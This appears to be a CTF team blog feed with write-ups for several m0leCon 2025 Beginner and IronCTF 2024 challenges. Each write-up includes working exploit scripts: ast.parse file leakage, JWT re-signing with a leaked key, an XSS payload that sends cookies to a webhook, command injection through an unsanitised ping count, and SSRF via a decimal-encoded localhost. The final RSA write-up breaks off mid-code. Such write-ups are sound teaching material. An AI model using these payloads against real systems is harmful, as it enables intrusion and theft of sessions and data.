&lt;p&gt;Where&apos;s the vuln? Well, it&apos;s quite simple here: &lt;code&gt;ast.parse(**request.json)&lt;/code&gt;, The call to &lt;code&gt;ast.parse&lt;/code&gt; is vulnerable to Python code injection, in fact we can pass arbitrary parameters to the function (because of the &lt;code&gt;**request.json&lt;/code&gt;), and if we look at the documentation for &lt;code&gt;ast.parse&lt;/code&gt; we know that we can pass a filename to the function, and ast.parse uses something like &lt;code&gt;compile(source, filename, mode, PyCF_ONLY_AST)&lt;/code&gt;, which allows us to leak sensitive information causing syntax errors in specific lines of code.&lt;/p&gt;
&lt;p&gt;So finally we get&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

#!/usr/bin/python3
import requests

BASE_URL = &quot;http://python.ctf.theromanxpl0.it:7001/&quot;

def check():
    r = requests.post(BASE_URL + &quot;/check&quot;, json={&quot;source&quot;: &quot;\n\n\n\n\n;&quot;,&quot;filename&quot;:&quot;./secret.py&quot;, })
    if &apos;error&apos; != None:
        print(r.json()[&apos;error&apos;])
    else:
        print(r.json())

def main():
    check()


if __name__ == &quot;__main__&quot;:
	main()


# goodluck by @akiidjk

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[TRX{4ll_y0u_h4v3_t0_d0_1s_l00k_4t_th3_s0urc3_c0d3}]&lt;/p&gt;
</content:encoded></item><item><title>M0lecon2025beginner | GoSecureIt</title><link>https://bytethecookies.org/posts/m0lecon2025beginner-gosecureit/</link><guid isPermaLink="true">https://bytethecookies.org/posts/m0lecon2025beginner-gosecureit/</guid><description>I&apos;ve found this website under construction, at the moment you can only register, but I think there&apos;s something strange in the cookie</description><pubDate>Mon, 23 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;We are faced with an application written in go, not very complex with several files, but already looking at the folder tree we see the secret folder with secret.go inside and this code&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// filename: secret.go
package secret

var JwtSecretKey = []byte(&quot;schrody_is_always_watching&quot;) // I don&apos;t know why it&apos;s called secret, I&apos;ll just leave it here :)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Obviously this is the cookie secret, but interacting with the web application there is not much to do, so it is worth checking other files, especially in Golang, when using the Gin framework it is often used to define routes in the main.go, in fact if we open it we can see&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// filename: main.go
r.GET(&quot;/flag&quot;, handler.AuthMiddleware(), func(c *gin.Context) {
		role, _ := c.Get(&quot;role&quot;)
		if role == &quot;admin&quot; {
			c.String(http.StatusOK, os.Getenv(&quot;flag&quot;))
		} else {
			c.String(http.StatusForbidden, &quot;No flag for a normal user :/&quot;)
		}
	})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can see that the role value is checked to see if it is admin, in which case the flag is printed, even though with c.GET it looks like it takes a get parameter it actually takes the value from the cookie we need to re-sign.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;So to solve the challenge, all we have to do is modify the cookie we get when we log in by changing the role to admin and signing it with the leaked key.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

#!/usr/bin/python3
import random
import string

import requests
import jwt

BASE_URL = &quot;https://gosecureit.challs.m0lecon.it/&quot;

s = requests.Session()

def string_generator(length):
    return &apos;&apos;.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))

def sign_jwt(cookie,secret):
    decoded_jwt = jwt.decode(cookie, secret, algorithms=[&quot;HS256&quot;])
    decoded_jwt[&apos;role&apos;] = &apos;admin&apos;
    resigned_jwt = jwt.encode(decoded_jwt, secret, algorithm=&apos;HS256&apos;)
    return resigned_jwt

def register(username,password):
    r = requests.post(BASE_URL + &quot;register&quot;, data={&quot;username&quot;: username, &quot;password&quot;: password})
    if r.status_code != 200:
        print(&quot;[+] Failed to register&quot;)
        exit(1)
    else:
        print(&quot;[+] Registered successfully&quot;)

def login(username,password):
    r = requests.post(BASE_URL + &quot;login&quot;, data={&quot;username&quot;: username, &quot;password&quot;: password})
    if r.status_code != 200:
        print(&quot;[+] Failed to login&quot;)
        exit(1)
    else:
        print(&quot;[+] Login successfully&quot;)

    return r.json()

def main():
    username,password = string_generator(10),string_generator(10)
    secret = &quot;schrody_is_always_watching&quot;
    register(username,password)
    cookies = login(username,password)
    new_jwt = sign_jwt(cookies[&apos;token&apos;],secret)
    s.cookies.set(&apos;jwt&apos;, new_jwt)
    r = s.get(BASE_URL + &quot;flag&quot;)
    print(&quot;Flag: &quot; + r.text)

if __name__ == &quot;__main__&quot;:
	main()

# goodluck by @akiidjk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[ptm{Th4t&apos;5_why_1t&apos;5_c4ll3d_53cr3t?}]&lt;/p&gt;
</content:encoded></item><item><title>M0lecon2025beginner | ImgPlace</title><link>https://bytethecookies.org/posts/m0lecon2025beginner-imgplace/</link><guid isPermaLink="true">https://bytethecookies.org/posts/m0lecon2025beginner-imgplace/</guid><description>Are you a photographer but have no reputation? Join ImgPlace! Share your photos... and become popular!</description><pubDate>Mon, 23 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;We have a very simple application where we are allowed to register and log in and then we can upload images via url and associated description&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;The source is only parsable by devtools from the browser, and we can see that in the pic.js file we have a function that sanitizes the image description&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: pic.js

&quot;use strict&quot;;

(async () =&amp;gt; {
    const picPhoto = document.getElementById(&quot;picPhoto&quot;);
    const picDesc = document.getElementById(&quot;picDesc&quot;);

    const r = await fetch(&quot;/api/pic/&quot; + window.picId);

    if (r.ok) {
        const data = await r.json();
        picPhoto.src = data.src;

        // We need to block dangerous things!
        const blocklist = [
            &quot;&amp;lt;comment&quot;,
            &quot;&amp;lt;embed&quot;,
            &quot;&amp;lt;link&quot;,
            &quot;&amp;lt;listing&quot;,
            &quot;&amp;lt;meta&quot;,
            &quot;&amp;lt;noscript&quot;,
            &quot;&amp;lt;object&quot;,
            &quot;&amp;lt;plaintext&quot;,
            &quot;&amp;lt;script&quot;,
            &quot;&amp;lt;xmp&quot;,
            &quot;&amp;lt;style&quot;,
            &quot;&amp;lt;applet&quot;,
            &quot;&amp;lt;iframe&quot;,
            &quot;&amp;lt;img&quot;,
            &quot;onload&quot;,
            &quot;onblur&quot;,
            &quot;onclick&quot;,
            &quot;onerror&quot;,
            &quot;href&quot;,
            &quot;javascript&quot;,
            &quot;window&quot;,
            &quot;src&quot;,
        ];
        let description = String(data.description);
        blocklist.forEach((word) =&amp;gt; {
            description = description.replace(word, &quot;&quot;);
        });

        picDesc.innerHTML = description;
    } else {
        if (r.status == 401) {
            window.location.href = &quot;/profile&quot;;
        } else {
            alert(&quot;Unable to load photo!&quot;);
        }
    }
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can see this trivially from the code that takes ById elements are taken and the word is deleted.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;There are really several solutions I used the simplest one which is to take advantage of the fact that the replace is case sensitive and no lowercase is done in the code to my description&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

#!/usr/bin/python3
import random
import string

import requests
from bs4 import BeautifulSoup

BASE_URL = &quot;https://imgplace.challs.m0lecon.it&quot;
URL_HOOK = &quot;https://webhook.site/6a1df142-d272-4e11-8937-dbd81a33e9d2&quot;

def string_generator(length):
    return &apos;&apos;.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))

s = requests.Session()

def register(username, password):
    r = s.post(f&quot;{BASE_URL}/register&quot;, data={&quot;username&quot;: username, &quot;password&quot;: password,&quot;confirmPassword&quot;:password})

    if r.status_code != 200:
        print(&quot;[+] Error register&quot;)
        print(r.text)
        exit(1)
    else:
        print(&quot;[+] Register success&quot;)

def login(username, password):
    r = s.post(f&quot;{BASE_URL}&quot;, data={&quot;username&quot;: username, &quot;password&quot;: password})
    if r.status_code != 200:
        print(&quot;[+] Error login&quot;)
        print(r.text)
        exit(1)
    else:
        print(&quot;[+] Login success&quot;)

def new(payload):
    r = s.post(f&quot;{BASE_URL}/new&quot;, data={&quot;url&quot;: URL_HOOK, &quot;description&quot;: payload})
    if r.status_code != 200:
        print(&quot;[+] Error new image&quot;)
        print(r.text)
        exit(1)
    else:
        print(&quot;[+] New Image Success&quot;)


def main():
    username,password = string_generator(10),string_generator(10)
    print(f&quot;Username: {username} Password : {password}&quot;)
    register(username,password)
    login(username,password)
    payload = &quot;&amp;lt;ImG SrC=x OnError=fetch(`&quot;+URL_HOOK+&quot;?q=${document.cookie}`)&amp;gt;&quot;
    new(payload=payload)
    print(&quot;[+] Done&quot;)
    print(&quot;[+] Now login to the website go to the image complete the captcha and you will get the flag on the webhook&quot;)


if __name__ == &quot;__main__&quot;:
	main()

# goodluck by @akiidjk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[ptm{n3v3r_tRvST_t3g_bL0ckL1sts}]&lt;/p&gt;
</content:encoded></item><item><title>M0lecon2025beginner | SmallAuth</title><link>https://bytethecookies.org/posts/m0lecon2025beginner-smallauth/</link><guid isPermaLink="true">https://bytethecookies.org/posts/m0lecon2025beginner-smallauth/</guid><description>I am trying to authenticate but I totally forgot the password, I am screwed!!</description><pubDate>Sat, 21 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;SmallAuth was a crypto CTF from &lt;a href=&quot;https://ctftime.org/event/2578/&quot;&gt;m0leCon 2025 Beginner CTF&lt;/a&gt; organized by &lt;a href=&quot;https://ctftime.org/team/60467&quot;&gt;pwnthem0le&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from secret import flag, password
import signal
from Crypto.Util.number import (
    bytes_to_long,
    long_to_bytes,
    getRandomRange,
)
from hashlib import sha256
import os

p = 5270716116965698502689689671130781219142402682027195438035167686031865721400130496197382604002325978977917823871038888373085118354500422489134429970793096193438377786459821943518301475690713718745453633483219759953295608491564410082912515903134742148257215875373630412689071144760281744294536079770426517968527527493218935968663682019557492826204481612047410320146277333682801905360248457200458458982939490478875010628228329816347137904546340745621643293109290190631986349878770000332829974864263568375989597228583046155053640478805958492876860588535257030218304135983005840752161675722091031537527270835889607480661582626985375282908187505873350960702103509549729997875801557977556414403796543012974965425751833424162010931383924392626875437842811285456196644742198291857617009931030974156758885265756942730260677252867252555430773014258836269996233420470473918801854039549216620237517053340745984578639983387808534554731327
assert len(password) &amp;gt; 64

def timeout_handler(_1, _2):
    raise TimeoutError


class AuthProtocol:
    def __init__(self, password: bytes):
        super().__init__()
        self.p = p
        self.g = pow(bytes_to_long(password), 2, self.p)

    def gen_pub_key(self):
        self.a = getRandomRange(2, self.p)
        self.A = pow(self.g, self.a, self.p)
        return self.A

    def gen_shared_key(self, B):
        assert 1 &amp;lt; B &amp;lt; self.p
        k = pow(B, self.a, self.p)
        self.s = sha256(long_to_bytes(k)).digest()
        return self.s

    def confirm_key(self):
        signal.signal(signal.SIGALRM, timeout_handler)
        signal.alarm(5)
        try:
            challenge = input(&quot;Give me the challenge (hex): &quot;).strip()
            challenge = bytes.fromhex(challenge.strip())
            (opad, ipad, challenge) = challenge[:16], challenge[16:32], challenge[32:]
            if challenge == sha256(opad + sha256(ipad + self.s).digest()).digest():
                pad = bytes([x^y for x, y in zip(ipad, opad)])
                print(&quot;Response:&quot;, sha256(pad + self.s).hexdigest())
            else:
                print(&quot;Mmm, cannot understand this challenge.&quot;)
        except TimeoutError:
            ipad = os.urandom(16)
            opad = os.urandom(16)
            print(&quot;\nI got bored waiting for your response.&quot;)
            print(&quot;I will start then.&quot;)
            print(
                f&quot;Here is your challenge: {opad.hex()}{ipad.hex()}{sha256(opad + sha256(ipad + self.s).digest()).hexdigest()}&quot;
            )
            response = input(&quot;Response? (hex): &quot;)
            try:
                response = bytes.fromhex(response.strip())
                pad = bytes([x^y for x, y in zip(ipad, opad)])
                if response == sha256(pad + self.s).digest():
                    return True
                else:
                    print(&quot;Nope sorry.&quot;)
            except Exception as e:
                print(&quot;Ops, error&quot;)
        except Exception as e:
            print(&quot;Ops, error&quot;)
        return False


def main():
    print(
        &quot;Welcome! Please authenticate to get the flag. You should know the password, right?&quot;
    )
    auth = AuthProtocol(password)

    print(&quot;Here is my public key:&quot;, auth.gen_pub_key())
    B = int(input(&quot;Give me your public key: &quot;))
    auth.gen_shared_key(B)

    if auth.confirm_key():
        print(&quot;Welcome!&quot;, flag)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server simulates an authentication protocol: first it generates a secret shared key via a modified version of the Diffie-Hellman protocol where the generator isn&apos;t public, then we have a 5 second window where we can interact with the verifier to check our sent challenges, finally it asks for a &quot;challenge&quot; which should be constructed from a &lt;code&gt;sha256&lt;/code&gt; hash involving the previously generated key.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;Without the generator it seems impossible to generate the secret key but a faulty check in &lt;code&gt;gen_shared_key&lt;/code&gt; lets us generate it $50%$ of the time:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def gen_shared_key(self, B):
    assert 1 &amp;lt; B &amp;lt; self.p
    k = pow(B, self.a, self.p)
    self.s = sha256(long_to_bytes(k)).digest()
    return self.s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;assert&lt;/code&gt; wants to prevent values such as &lt;code&gt;0&lt;/code&gt; and multiples of &lt;code&gt;self.p&lt;/code&gt;, but allows &lt;code&gt;self.p - 1&lt;/code&gt;, which once raised to the &lt;code&gt;self.a&lt;/code&gt;th power will be &lt;code&gt;1&lt;/code&gt;, when &lt;code&gt;self.a&lt;/code&gt; is even, or &lt;code&gt;self.p - 1&lt;/code&gt; when &lt;code&gt;self.a&lt;/code&gt; is odd.
We can therefore just guess one of the two possibilities and retry until we&apos;re right.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
from hashlib import sha256
from time import sleep


p = 5270716116965698502689689671130781219142402682027195438035167686031865721400130496197382604002325978977917823871038888373085118354500422489134429970793096193438377786459821943518301475690713718745453633483219759953295608491564410082912515903134742148257215875373630412689071144760281744294536079770426517968527527493218935968663682019557492826204481612047410320146277333682801905360248457200458458982939490478875010628228329816347137904546340745621643293109290190631986349878770000332829974864263568375989597228583046155053640478805958492876860588535257030218304135983005840752161675722091031537527270835889607480661582626985375282908187505873350960702103509549729997875801557977556414403796543012974965425751833424162010931383924392626875437842811285456196644742198291857617009931030974156758885265756942730260677252867252555430773014258836269996233420470473918801854039549216620237517053340745984578639983387808534554731327

def main():
    r = remote(&apos;smallauth.challs.m0lecon.it&apos;, 5102)

    r.recvuntil(b&apos;: &apos;)
    A = int(r.recvline().rstrip().decode())

    B = p - 1
    r.sendlineafter(b&apos;: &apos;, str(B).encode())

    s = sha256(b&apos;\1&apos;).digest()

    sleep(5)

    r.recvuntil(b&apos;challenge: &apos;)
    challenge = bytes.fromhex(r.recvline().rstrip().decode())

    opad = challenge[:16]
    ipad = challenge[16:32]
    chal = challenge[32:]

    pad = bytes([x^y for x, y in zip(ipad, opad)])
    resp = sha256(pad + s).hexdigest()

    r.sendlineafter(b&apos;): &apos;, resp.encode())

    resp = r.recvline()
    r.close()

    if b&apos;Nope&apos; in resp:
        main()
    else:
        print(&apos;flag:&apos;, resp.rstrip().decode().split(&apos; &apos;)[1])


if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[ptm{y0u_4r3_a_j3d1_0f_pr0t0c0l5}]&lt;/p&gt;
</content:encoded></item><item><title>IronCTF2024 | MovieReviewApp</title><link>https://bytethecookies.org/posts/ironctf2024-moviereviewapp/</link><guid isPermaLink="true">https://bytethecookies.org/posts/ironctf2024-moviereviewapp/</guid><description>Last web challenge done in the ctf (unfortunately) also one of the fastest to do if you know the right tools</description><pubDate>Mon, 07 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;The challenge looks like a very simple site in pure html where we see reviews on movies&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;Is not present the source BUT...&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;The first thing that stands out is that in the URL there are extensions, so we understand that probably the system behind it is not very complex, in fact, going to the root endpoint we notice&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/moviereviewapp/image.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That directory listing is active and a .git folder exists&lt;/p&gt;
&lt;p&gt;This allows us to see all the committed versions of the application&lt;/p&gt;
&lt;p&gt;But I don&apos;t recommend to manually dump the whole folder so we rely on a very useful tool found on github &lt;a href=&quot;https://github.com/internetwache/GitTools&quot;&gt;GitTools&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Using the dump script, we can dump the entire .git folder and then use the extractor tool to restore all the versions.&lt;/p&gt;
&lt;p&gt;What we get is the source with all its versions.&lt;/p&gt;
&lt;h3&gt;Leaked source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# filename: app.py

from flask import Flask, render_template, request, redirect, url_for, flash, session
import psutil
import os
import platform
import subprocess
import re

app = Flask(__name__)
app.secret_key = os.urandom(32)

ADMIN_USERNAME = &apos;superadmin&apos;
ADMIN_PASSWORD = &apos;Sup3rS3cR3TAdminP@ssw0rd$!&apos;

@app.route(&apos;/&apos;)
def home():
    return render_template(&apos;index.html&apos;)

@app.route(&apos;/admin&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def admin():
    if request.method == &apos;POST&apos;:
        username = request.form.get(&apos;username&apos;)
        password = request.form.get(&apos;password&apos;)
        if username == ADMIN_USERNAME and password == ADMIN_PASSWORD:
            session[&apos;logged_in&apos;] = True
            return redirect(url_for(&apos;admin_panel&apos;))
        else:
            flash(&quot;Invalid credentials. Please try again.&quot;)

    return render_template(&apos;login.html&apos;)

@app.route(&apos;/admin_panel&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def admin_panel():
    if &apos;logged_in&apos; not in session:
        return redirect(url_for(&apos;admin&apos;))
    ping_result = None
    if request.method == &apos;POST&apos;:
        ip = request.form.get(&apos;ip&apos;)
        count = request.form.get(&apos;count&apos;, 1)
        try:
            count = int(count)
            ping_result = ping_ip(ip, count)
        except ValueError:
            flash(&quot;Count must be a valid integer&quot;)
        except Exception as e:
            flash(f&quot;An error occurred: {e}&quot;)

    memory_info = psutil.virtual_memory()
    memory_usage = memory_info.percent
    total_memory = memory_info.total / (1024 ** 2)
    available_memory = memory_info.available / (1024 ** 2)

    return render_template(&apos;admin.html&apos;, ping_result=ping_result,
                           memory_usage=memory_usage, total_memory=total_memory,
                           available_memory=available_memory)


if __name__ == &apos;__main__&apos;:
    app.run(debug=True)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can see two interesting things: the first that stands out is that the admin&apos;s credentials are in the clear, and another is that we have another RCE to run.&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

#!/usr/bin/python3

import requests
from bs4 import BeautifulSoup

BASE_URL = &quot;https://movie-review.1nf1n1ty.team&quot;
URL_HOOK = &quot;&quot;

ADMIN_USERNAME = &apos;superadmin&apos;
ADMIN_PASSWORD = &apos;Sup3rS3cR3TAdminP@ssw0rd$!&apos;

s = requests.Session()

def login():
  r = s.post(BASE_URL + &quot;/servermonitor/admin&quot;,data={&quot;username&quot;:ADMIN_USERNAME,&quot;password&quot;:ADMIN_PASSWORD})
  if r.status_code == 200:
    print(&quot;[+] Login Success&quot;)
  else:
    print(&quot;[!] Login Failed&quot;)
    exit(1)

def exploit():
  flag = BeautifulSoup(s.post(BASE_URL + &quot;/servermonitor/admin_panel&quot;,data={&quot;ip&quot;:&quot;8.8.8.8&quot;,&quot;count&quot;:&quot;1;cat &apos;/flag.txt&apos; #&quot;}).text, &apos;html.parser&apos;).find_all(&apos;pre&apos;)[0].text
  print(&quot;[+] Flag: &quot;,flag)

def main():
  login()
  exploit()


if __name__ == &quot;__main__&quot;:
  main()

# goodluck by @akiidjk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The solution is very simple, let&apos;s log in to the admin panel and then take advantage of the fact that the count parameter is not sanitized to execute a command of our choice and set the flag&lt;/p&gt;
&lt;p&gt;flag: :spoiler[ironCTF{4lways_b3_c4ar3ful_w1th_G1t!}]&lt;/p&gt;
</content:encoded></item><item><title>IronCTF2024 | b64SiteViewer</title><link>https://bytethecookies.org/posts/ironctf2024-b64siteviewer/</link><guid isPermaLink="true">https://bytethecookies.org/posts/ironctf2024-b64siteviewer/</guid><description>This is one of the challenges added later, but despite that it wasn&apos;t very complex, in fact the most complex part wasn&apos;t even the web part, but despite that the challenge was still really nice</description><pubDate>Mon, 07 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;We are faced with a very simple application in which, given a url, the base64 of the page content is given back to us, plus there is a special endpoint that allows us to execute certain commands&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;There are two endpoints of interest to us, the first of which is this one, which, as we can see, has several filters, especially those that do not allow us to access the localhost (very strange at first glance, you might think).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: app.py

@app.route(&apos;/&apos;,methods=[&apos;GET&apos;,&apos;POST&apos;])
def home():
    if request.method==&apos;GET&apos;:
        return render_template(&apos;home.html&apos;)
    if request.method==&apos;POST&apos;:
        try:
            url=request.form.get(&apos;url&apos;)
            scheme=urlparse(url).scheme
            hostname=urlparse(url).hostname
            blacklist_scheme=[&apos;file&apos;,&apos;gopher&apos;,&apos;php&apos;,&apos;ftp&apos;,&apos;dict&apos;,&apos;data&apos;]
            blacklist_hostname=[&apos;127.0.0.1&apos;,&apos;localhost&apos;,&apos;0.0.0.0&apos;,&apos;::1&apos;,&apos;::ffff:127.0.0.1&apos;]
            if scheme in blacklist_scheme:
                return render_template_string(&apos;blocked scheme&apos;)
            if hostname in blacklist_hostname:
                return render_template_string(&apos;blocked host&apos;)
            t=urllib.request.urlopen(url)
            content = t.read()
            output=base64.b64encode(content)
            return (f&apos;&apos;&apos;base64 version of the site:
                {output[:1000]}&apos;&apos;&apos;)
        except Exception as e:
                print(e)
                return f&quot; An error occurred: {e} - Unable to visit this site, try some other website.&quot;


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We are blocked from accessing the localhost mainly to prevent us from accessing the admin endpoint, which, as we can clearly see, blocks all IPs that are not 127.0.0.1&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
@app.route(&apos;/admin&apos;)
def admin():
    remote_addr = request.remote_addr

    if remote_addr in [&apos;127.0.0.1&apos;, &apos;localhost&apos;]:
        cmd=request.args.get(&apos;cmd&apos;,&apos;id&apos;)
        cmd_blacklist=[&apos;REDACTED&apos;]
        if &quot;&apos;&quot; in cmd or &apos;&quot;&apos; in cmd:
            return render_template_string(&apos;Command blocked&apos;)
        for i in cmd_blacklist:
            if i in cmd:
                return render_template_string(&apos;Command blocked&apos;)
        print(f&quot;Executing: {cmd}&quot;)
        res= subprocess.run(cmd, shell=True, capture_output=True, text=True)
        return res.stdout
    else:
        return render_template_string(&quot;Don&apos;t hack me&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The admin endpoint also takes as parameter a CMD argument, which is a bash command that will be executed (Having first checked it with a blacklist)&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;The goal is to reach /admin and execute a command to get the flag&lt;/p&gt;
&lt;p&gt;The solution is divided into two phases&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Bypass the filter in /&lt;/li&gt;
&lt;li&gt;Bypass the blacklist in /admin (Blacklist we don&apos;t know)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Bypass the first filter&lt;/h3&gt;
&lt;p&gt;In the endpoint, the hostname check is not really done correctly because it takes the hostname but does not check what format it is in or that it is valid etc and just does a very trivial comparison, so we just need to represent the IP with a different number system to bypass the filter.&lt;/p&gt;
&lt;h3&gt;Bypassing the second filter&lt;/h3&gt;
&lt;p&gt;The second blacklist is much more complex, in fact initially I had many problems to understand, and especially to understand how to get the flag, as all the commands to access the ENV were blocked, but the solution as usual is much more trivial, in fact to leak the blacklist is enough to make a tail (which fortunately was not blocked) and modify the offsets with the parameters we can read part of the blacklist, Finally to get the flag is actually very simple, in fact using tail on the run. sh we can see which is the file where the environment variable of the flag is created and therefore where we can find the&lt;/p&gt;
&lt;h3&gt;Final exploit&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

#!/usr/bin/python3

import requests
import urllib.parse
import base64

BASE_URL = &quot;https://b64siteviewer.1nf1n1ty.team/&quot;

PAYLOAD_CMD = urllib.parse.quote(&quot;tail run???&quot;)
URL_HOOK = &quot;http://2130706433:5000/admin?cmd=&quot; + PAYLOAD_CMD # We use 2130706433 instead of 127.0.0.1 because is blocked by the WAF

def send_url(url):
  data = {&quot;url&quot;: url}
  response = requests.post(BASE_URL, data=data)
  try:
    return response.text.split(&quot;base64 version of the site:&quot;)[1].strip()[2:-1], True
  except:
    return response.text, False

def main():
  print(&quot;[+] URL: &quot;, URL_HOOK)
  res_base64,status = send_url(URL_HOOK)
  if status:
    print(&quot;[+] Result of exploit: &quot;, base64.b64decode(res_base64).decode())
  else:
    print(f&quot;[+] Error in the requests: {res_base64}&quot;)


if __name__ == &quot;__main__&quot;:
  main()


# goodluck by @akiidjk

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[ironCTF{y0u4r3r0ck1n6k33ph4ck1n6}&quot;]&lt;/p&gt;
</content:encoded></item><item><title>IronCTF2024 | Rivest, Shamir, Adleman 1</title><link>https://bytethecookies.org/posts/ironctf2024-rivest_shamir_adleman_1/</link><guid isPermaLink="true">https://bytethecookies.org/posts/ironctf2024-rivest_shamir_adleman_1/</guid><description>Little John came across an article on RSA encryption. Intrigued but only partially understanding it, he decided to write a script and started using it to communicate with his aunt. Can you figure out what he&apos;s discussing?</description><pubDate>Sun, 06 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Rivest, Shamir, Adleman 1 was a crypto CTF from &lt;a href=&quot;https://ctftime.org/event/2497&quot;&gt;IRON CTF 2024&lt;/a&gt; organized by &lt;a href=&quot;https://ctftime.org/team/151859&quot;&gt;Team 1nf1n1ty&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

m = open(&quot;flag.txt&quot;,&apos;rb&apos;).read()

m = bytes_to_long(m)

p = getPrime(1024)
q = getPrime(1024)
N = p*q

e = getRandomNBitInteger(16)
c = pow(m,e,N)
p_ = p &amp;gt;&amp;gt; (200)

print(f&quot;{(p_,N,e,c)=}&quot;)

# (p_,N,e,c)=(78251056776113743922781362749830646373211175353656790171039496888342171662458492506297767981353887690931452440620588460424832375197427124943346919084717792877241717599798699596252163346397300952154047511640741738581061446499402444306089020012841936, 19155750974833741583193175954281590563726157170945198297004159460941099410928572559396586603869227741976115617781677050055003534675899765832064973073604801444516483333718433505641277789211533814981212445466591143787572063072012686620553662750418892611152219385262027111838502078590253300365603090810554529475615741997879081475539139083909537636187870144455396293865731172472266214152364966965486064463013169673277547545796210067912520397619279792527485993120983571116599728179232502586378026362114554073310185828511219212318935521752030577150436386831635283297669979721206705401841108223134880706200280776161816742511, 37929, 18360638515927091408323573987243771860358592808066239563037326262998090628041137663795836701638491309626921654806176147983008835235564144131508890188032718841579547621056841653365205374032922110171259908854680569139265494330638365871014755623899496058107812891247359641915061447326195936351276776429612672651699554362477232678286997748513921174452554559807152644265886002820939933142395032126999791934865013547916035484742277215894738953606577594559190553807625082545082802319669474061085974345302655680800297032801212853412563127910754108599054834023083534207306068106714093193341748990945064417347044638122445194693)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is a typical rsa challenge where you&apos;re given a &quot;leak&quot;: some part of the private key which allows you to retrieve it fully. We&apos;re given the most significant bits of &lt;code&gt;p&lt;/code&gt; and must figure out the rest.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;We&apos;ll use &lt;a href=&quot;https://link.springer.com/chapter/10.1007/3-540-68339-9_14&quot;&gt;Coppersmith&apos;s method&lt;/a&gt; to find the 200 lowermost bits of &lt;code&gt;p&lt;/code&gt; (&lt;code&gt;beta&lt;/code&gt; has a default value of &lt;code&gt;1&lt;/code&gt; which must be tweaked to solve this)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;R.&amp;lt;x&amp;gt; = PolynomialRing(Zmod(N))

lsb = (p_*2^200 + x).monic().small_roots(beta=0.4)
p = Integer(p_*2^200 + lsb[0])

assert is_prime(p)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One more trouble to solve is that $gcd(e, \phi) \ne 1$, so we must generate all possible plaintexts corresponding to our ciphertext (&lt;a href=&quot;https://medium.com/@g2f1/bad-rsa-keys-3157bc57528e&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;q = N // p
phi = (p - 1) * (q - 1)

k = 1
while gcd(e, phi/k) != 1:
